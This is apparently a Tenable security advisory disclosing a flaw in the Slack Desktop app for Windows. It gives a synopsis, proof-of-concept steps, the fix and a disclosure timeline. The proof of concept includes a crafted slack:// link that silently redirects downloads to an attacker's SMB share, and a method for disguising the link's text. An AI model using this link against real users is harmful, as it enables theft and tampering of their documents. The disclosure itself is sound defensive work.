Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Slack Desktop Application for Windows Download Hijack

Medium

Synopsis

Tenable has discovered a vulnerability affecting Slack Desktop Application for Windows (versions prior to 3.4.0) that could allow attackers to steal downloaded documents.

An attacker can abuse the "slack://" protocol handler which has the capability of changing sensitive settings in the Slack Desktop Application. Crafting a link such as “slack://settings/?update={‘PrefSSBFileDownloadPath’:’<newDownloadLocation>’}” will persitently change the default document download location if clicked. This new target download location can be an Attacker owned SMB share, which cause all future downloaded documents to be instantly uploaded to attacker's server, which can result in them be stolen or and even having their contents manipulated before victim opens them after download. Furthermore this attack can be concealed via clickjacking by using the "attachment" feature in slack API, which allows hyperlink's actual URI to be replaced with custom text.

The attack can be performed through any means that may get hyperlinked text to render in a Slack channel or Slack direct messaging. This includes authenticated vectors, where rouge Slack channel member sends link to group or individual through direct messaging, as well as unauthenticated vectors, such as external .RSS feeds or other externally pulled content that may hyperlink text in a slack channel.

Proof of Concept

  1. Attacker posts masqueraded hyperlink of "slack://settings/?update={‘PrefSSBFileDownloadPath’:'\\\\SMB-ip-address\\share’}" with misleading hyperlink text using "attachments" slack API feature.
  2. Victim clicks link, Slack default download location is silently changed.
  3. Victim downloads a document through Slack Application via private message or Slack channel. Downloaded document is immediately uploaded to attacker's SMB share.
  4. Document is now in Attacker's hands, which can choose to modify or simply steal.
  5. Victim can still open the downloaded document through application, however it will be from the attacker's SMB share.

Solution

Update to Slack App 3.4.0 or above

Disclosure Timeline

02/15/2019 - Tenable contacts Slack through HackerOne bug submission
02/15/2019 - Slack responds asking for POC
02/20/2019 - Slack confirms settings manipulation through link interaction, asks for more information.
02/21/2019 - Tenable submits POC video and SMB server to test and confirm POC with.
02/27/2019 - Slack confirms and triages bug
03/05/2019 - Slack is working on fix, asks for time to fix bug before public disclosure
03/06/2019 - Tenable delays publication under its vulnerability disclosure policy
03/07/2019 - Slack confirms patch will be ready before 90 day period.
03/20/2019 - Tenable asks for patch release date
03/20/2019 - Slack does not have date
04/03/2019 - Tenable asks if there are any updates regarding patch release date
04/03/2019 - Slack releases patch for beta release 3.4.0-beta1
04/05/2019 - Tenable confirms beta release fixes issue
04/09/2019 - Tenable asks if there is "auto update" feature for Slack App
04/10/2019 - Slack confirms "auto update" feature for certain Slack installations
04/16/2019 - Tenable asks if Slack plans to submit CVE for issue.
04/22/2019 - v3.4.0 released, Tenable confirms with Slack that this issue has been patched
04/22/2019 - Slack asks for extension as it does not have 100% rollout for latest update
05/02/2019 - Tenable asks for update on rollout and if they plan to submit CVE
05/03/2019 - Slack confirms 3.4.0 patch fixes issue and that Linux version has been rolled out
05/08/2019 - Tenable confirms patch, asks why no CVE will be submitted
05/08/2019 - Slack explains CVE submission is not part of their current process but considering it in the future. Confirms report is resolved.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2019-23
CVSSv2 Base / Temporal Score:
5.8
CVSSv2 Vector:
AV:N/AC:M/AU:N/C:P/I:P/A:N
Risk Factor:
Medium

Advisory Timeline

May 7, 2019 - Initial release.
May 14, 2019 - Updated advisory timeline.